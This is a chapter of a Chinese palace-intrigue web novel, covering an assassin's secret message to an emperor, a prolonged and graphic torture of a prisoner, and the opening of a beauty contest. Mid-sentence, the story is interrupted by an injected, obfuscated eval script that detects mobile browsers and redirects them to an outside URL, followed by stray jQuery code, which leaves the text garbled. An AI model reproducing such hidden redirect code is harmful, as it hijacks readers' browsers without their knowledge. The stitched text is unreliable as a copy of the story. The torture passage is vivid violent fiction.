夜色如墨,月明星稀。
深夜的皇宫寂静无声,明思冕早已安宁入睡。
不知何时,屋内突然传来一道声响,惊醒了他。
明思冕睁眼起身,看见一枚暗器钉在了床架上。
他顿时惊慌,本欲叫人抓刺客,却突然看见那暗器之上,似乎有一张细小字条。
他上前拿下暗器,将字条拿了出来,展开一看,上方仅有八个字。
好戏开场,请君旁观。
本以为来者不善,却是另有深意。
他虽不知来人是谁,有何意图,但如今来看,似乎对他并无威胁。
他便也如他意,袖手旁观,睁一只眼闭一只眼,亲自派钟离揺去查,令她走个过场便好。
那夜之后,他在暗中派人追查那人,但却毫无消息。
那人能在皇宫之中来去自如,悄无声息至他寝殿,定然是武功极高之人。
他此番也算是开了眼界,没想到世上竟有如此非凡之辈。
若那人想要行刺,那他或许那夜就已经死了。就算侥幸不死,也定是重伤。
若这种人成了他的敌人,那实在危险可怕。
好在他是友非敌。毕竟,敌人的敌人,就是朋友。
希望这次百春会,他也能如先前一样,可千万不要让他失望啊。
……
一段时日后,苌随和余升的伤已大好了。
期间,余升来过几次天香楼,陪苌随练习。
苌随已经差不多掌握了,便让他不要再来,毕竟他还有自己的事要做。
余升应下,开始回阎夜楼练琴。
而保福不知是怎么了,自上次苌随对他练习美人计后,便总是躲着她,就算来见她,也不敢正眼看她,她只好让丹妡多加照应他。
她自己就整日待在房中,勤加练武,而丹妡亦是如此,时不时还会让苌随指点一下她,帮助她精进武艺。
但其实在阎夜楼这么多年,她能升到二层,就能看出她的实力了。
毕竟她不可能每次都依靠美人计过关,总要有用武力杀人的时候。所以,她的武功其实已经算不错了。
而由于房间空间不大,她们练武并不方便,但若回阎夜楼,也恐怕会惹人生疑,所以只好勉强练练招式了。
她们还偶尔互相对练,以发簪为刃,试着刺杀对方。这样,到她们真正行刺的那天,也会更有把握。
另一边,阎夜楼。
被关在暗室的兆嗣,上次因双手剧痛晕过去后,苼羽便叫了专门的大夫去为他简单治疗。
阎夜楼内除了有杀手,也有大夫。一到四层配有一名大夫,五到八层配有一名大夫。
为他治疗过后,苼羽每隔几日就给他送些水和食物,确保他的性命。
但他的伤已经好得差不多了,是时候也该继续还债了。
当夜。
苼羽再次进入暗室。
兆嗣瘫在地上,看见他这个活阎罗来了,又立马起身跪坐着。
但今日却没看到他拿食物和水,他心感不妙。
“天立,你……有什么事吗?”兆嗣瑟瑟发抖。
苼羽轻笑道:“不用紧张,我不过是来看看你。”
兆嗣心想他来肯定没什么好事。
苼羽一步一步慢慢走上前,突然一把抓住他的衣领,将他拉了起来,随即锁住他的双手。
“你……你要干什么?”兆嗣惶恐不安,开始挣扎。
苼羽不再答他,而是走到一旁,拿起挂在墙上的鞭子,便转身回到他身前。
兆嗣惊慌呵斥:“你这个畜牲,你要干什么!”
苼羽抬手挥鞭,一鞭下去,兆嗣已开始吃痛闷哼。
他又继续加大力度,一鞭接一鞭狠狠打下去,打得兆嗣连连吃痛喊叫。
待到苼羽手打酸了,才停手。
兆嗣已皮开肉绽,浑身是血。
接着,苼羽又把鞭子放下,两手各拿三把飞刀,瞄准他直接丢去。
六把飞刀,分别直中他的胸膛、左臂和右臂,以及腹部、左腿和右腿。
“啊啊啊啊啊啊!!!”兆嗣疼痛不已,浑身颤抖起来。
“你…你这个畜牲不如的东西……”他渐渐无力,难以发出声音。
而苼羽仍然沉默,只是轻声笑了笑。
他又走到一旁,拿上一个小器具,走到兆嗣身侧。
他抓住他的拇指,用指钳开始拔他的指甲。
即使已经痛到麻木无法发声,但巨大的疼痛感袭来,身体的本能反应又迫使他发出微弱呻吟声,眼睛已经发红生出泪花。
“求你…求你放过我……”
兆嗣已被折磨得不成人样了,但苼羽像是没有听到任何话,继续施刑。
他将他右手拇指指甲拔下后,便走到另一边,拔下了他左手拇指的指甲。
做完后,他再次走到墙边,放下指钳,又拿上两个铁钩链子,朝兆嗣走去。
兆嗣已经心如死灰,双眼无神望着他。
苼羽来到他身前,将铁钩刺入了他的锁骨处,钩住他的骨头,便将链子绕在了他的脖子上。
下一刻,他突然将他的锁铐解开。
兆嗣虚弱无力,径直倒了下去,这又使他身上的飞刀和铁钩更深地刺入他的身体。
此刻,他嘴角渗血,指尖和身体都在流血,染红地面。
苼羽最后拿了一根绞索来到他背后,一把将他提起,随即用绞索缠住他的脖子,发力狠狠勒他。
兆嗣立马喘不过气来,可也没有力气挣扎,只能瞪着通红的眼睛任他处置。
濒临死亡之际,他突然回想起许多年前的他。
那时,他还是个灿烂明朗的少年,每次见了他,都是笑嘻嘻地喊他四叔。
他突然生出些悔恨之意,若没有八年前那件事,他们本可以一直这么相处下去。
可如今,他们再也回不去了。
兆嗣渐渐闭上了眼,眼角滑落一滴泪。
苼羽当然知道他快死了,随即停手,松开了绞索。
兆嗣再次倒在地上,昏了过去。
苼羽做完这一切,双眼已然猩红。
半晌,他从怀中抽出一块卷起的暗蓝色长布,将其缓缓展开。
上方竖着写了几列字,分别是四个人名,盛丙春、兆嗣、时怀翼、明京颢。
但凡伤害过雁栖城百姓之人,他会一个一个,亲手送他们下地狱,见阎王,永世不得超生,陷入无尽黑暗。
此为,阎夜楼。
入十八层地狱,下地府见阎王,永世无光,唯有黑夜。
……
长夜缓缓过去,新的一天再次到来。
长日当空,灿烂耀眼。
今日是百春会竞选,除了参选之人,不对其他人开放。
所有参选者做好准备,已接连到达。
而丹妡又像上次一般,早早为苌随梳好了妆。
梳妆这事,丹妡倒也教过苌随。
但苌随却学不太会,何况由他人帮忙,更为方便,便只能麻烦她了。
随后众人渐渐到齐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968448|192822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,苌随和丹妡下楼,一眼便望见了人群之后的余升。
余升在她离屋的那一刻,视线便已经落在了她身上。
苌随一袭红色纱裙,妆容明艳动人,一头青丝并未全然束起,上面盘着简单发髻,下半部分头发披散在肩头,而发髻后别着一条红色发带,走起路来,轻微飘动。
余升怔怔看着苌随,只觉这次的她,比上次更美了些。
当然,她一直都很美。
而苌随眼中的余升,身着一身墨蓝衣裳,拿着一把琴,只以一根木簪别着头发,下半部分头发也是散在后背,装扮简单却依旧好看,更能显出他自身的独特气质。
二人目光交汇,相视一笑,神色又转为严肃。
“来来来,男女分别排两队啊!男的站左边,女的站右边。”管事妈妈高声吩咐。
所有人分别站好,一个接一个排好队。
苌随和余升倒是不争抢顺序,他们排在了最后。
方才靠近对方时,苌随问他可有把握,见余升平静点头回应,才放下心来。毕竟他若没有把握,不可能如此镇定自若。
而丹妡不参选,便与其他不参选的天香楼舞女退到一旁站好,其他伙计站到另一边。
此次竞选,由不参选的天香楼舞女和杂役伙计,还有天香楼随机邀请的五位贵客,以及百春会主管者钟离揺,进行投票。
每人一票,不可弃票。参选者亦可投票,可以投给他人,也可投给自己。
投票依据,共有三点。一是姿容样貌,二是言行举止,三是技艺本领。
不论男女,只要最终选出最佳的十五人便可,而此次参选者约莫有三十多人。
成功入选者,需在百春会前一日到达天香楼,除了献艺器具,不可携带其他任何物品,通过搜身后才可进入,而后留在天香楼住下,不可再外出。等百春会过后,才可离开。
规矩如此严格,也是为了百春会时各位贵人的安危着想。
随后五位贵客到来,管事妈妈一脸笑容,恭敬请他们到前方两桌坐下,一桌有三个位置。
苌随见到这些人时,不由顿了一下。因为其中一人,便是上次前来见她的李公子。看来他的身份,算得上富贵。
紧接着,钟离揺到来,她的身后跟着两名护卫。
苌随他们早已知晓这次是由钟离揺亲自主办百春会,便毫无意外之色。
但她仍忧心先前之事,害怕钟离揺此次不会那么轻易让她过关,但眼下也只能见机行事了。
管事妈妈见钟离揺来了,赶忙上前见礼。
“参见钟离大人!”
其余人亦转身行礼,齐声道:“参见钟离大人!”
“不必多礼,开始吧。”
管事妈妈招呼着钟离揺走到最前方的中位坐下,为她倒了一杯茶,便站在她身旁。
钟离揺示意她无需伺候,坐下便好。
管事妈妈笑着应下,壮着胆子坐在了她这桌。
随后天香楼大门关闭,竞选正式开始。
表演顺序由一女一男相继上台,先女后男。
管事妈妈喝道:“两边的人先来!”
首先上场的是女队右列的第一人,她是天香楼舞女。
女子自信满满,从容上台,毕竟经历了这么多次百春会,她自然比其他外来人更有经验。
她双手放于腰间,轻微欠身,“奴家献丑了。”
话音落下,她开始跳舞,而台下有另一名不参选的天香楼舞女,为舞者弹琴伴奏。
很快,舞蹈结束。